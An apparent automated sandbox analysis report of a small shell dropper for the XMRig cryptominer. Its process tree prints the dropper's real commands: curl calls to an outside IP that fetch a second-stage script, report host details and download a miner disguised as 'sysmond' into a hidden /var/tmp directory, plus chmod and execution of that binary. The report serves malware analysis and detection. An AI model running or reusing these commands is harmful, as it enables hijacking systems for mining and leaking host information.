Analysis

  • max time kernel
    14s
  • max time network
    16s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/10/2026, 12:17

General

  • Target
    s
  • Size 402B
  • Sample261002-pf8gla1cpc
  • SHA256 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 7 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/s
    /tmp/s
    1⤵
      PID:645
      • /usr/bin/tr
        tr -cd A-Za-z0-9._-
        2⤵
          PID:648
        • /bin/hostname
          hostname
          2⤵
            PID:647
          • /usr/bin/cut
            cut -c1-20
            2⤵
              PID:649
            • /usr/bin/curl
              curl -sk -m 15 "http://177.4.12.11:8080/s?ev=boot&v=x&h=debian9-armhf-202605"
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              PID:652
            • /bin/sh
              sh
              2⤵
              • Executes dropped EXE
              PID:705
              • /bin/hostname
                hostname
                3⤵
                  PID:724
                • /bin/uname
                  uname -s
                  3⤵
                    PID:725
                  • /bin/uname
                    uname -m
                    3⤵
                      PID:726
                    • /sbin/sysctl
                      sysctl -n kern.osrelease
                      3⤵
                      • Reads CPU attributes
                      • Reads runtime system information
                      PID:727
                    • /usr/bin/id
                      id -u
                      3⤵
                        PID:728
                      • /usr/bin/curl
                        curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=env_Linux_armv7l_osrel=_uid=0"
                        3⤵
                        • Checks CPU configuration
                        PID:729
                      • /bin/mkdir
                        mkdir -p /var/tmp/.nsc
                        3⤵
                          PID:730
                        • /bin/mkdir
                          mkdir -p /var/tmp/.nsc
                          3⤵
                            PID:731
                          • /bin/mkdir
                            mkdir -p /var/tmp/.nsc
                            3⤵
                              PID:732
                            • /bin/grep
                              grep -c "[s]ysmond"
                              3⤵
                                PID:735
                              • /bin/ps
                                ps -ax
                                3⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:734
                              • /bin/rm
                                rm -f sysmond
                                3⤵
                                  PID:738
                                • /usr/bin/curl
                                  curl -sk -m 300 -o sysmond http://177.4.12.11:8080/xmrig-fbsd11-raw
                                  3⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  PID:739
                                • /usr/bin/tr
                                  tr -d " "
                                  3⤵
                                    PID:773
                                  • /usr/bin/wc
                                    wc -c
                                    3⤵
                                      PID:772
                                    • /bin/chmod
                                      chmod 755 sysmond
                                      3⤵
                                      • File and Directory Permissions Modification
                                      PID:774
                                    • /usr/bin/curl
                                      curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=dl_sz=3620152"
                                      3⤵
                                      • Checks CPU configuration
                                      PID:775
                                    • /bin/sed
                                      sed "s/[^a-zA-Z0-9._-]/_/g"
                                      3⤵
                                        PID:779
                                      • /bin/sed
                                        sed -n 1p
                                        3⤵
                                        • Reads runtime system information
                                        PID:778
                                      • /var/tmp/.nsc/sysmond
                                        ./sysmond --version
                                        3⤵
                                          PID:777
                                        • /usr/bin/curl
                                          curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=ver=sh__38__._sysmond__Exec_format_error"
                                          3⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          PID:781
                                        • /usr/bin/curl
                                          curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=exe_fail_rc=0"
                                          3⤵
                                          • Checks CPU configuration
                                          PID:782
                                      • /usr/bin/curl
                                        curl -sk -m 120 http://177.4.12.11:8080/nsp2.sh
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        PID:704

                                    Network

                                          MITRE ATT&CK Enterprise v16

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          sysmond

                                          • Path /var/tmp/.nsc/sysmond
                                          • Size 3.5MB
                                          • SHA256 9629553646ab51c36c18aa4cfbbb87a87fd9b87836b713089a3882082246b171
                                          • MD5 SHA1 SHA512 SSDEEP TLSH